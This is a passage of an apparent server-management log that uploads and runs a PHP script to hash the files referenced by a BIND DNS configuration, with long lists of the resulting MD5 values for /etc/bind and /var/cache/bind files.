MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:39:25: Establishing a connection
2026-04-30 17:39:25: 

PUT: /tmp/pkp679992

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:39:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp679992; rm /tmp/pkp679992'

2026-04-30 17:39:25: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:39:27: Establishing a connection
2026-04-30 17:39:27: 

PUT: /tmp/pkp464415

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:39:27: 

runuser -l bind -s /bin/bash -c '/tmp/pkp464415; rm /tmp/pkp464415'

2026-04-30 17:39:27: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
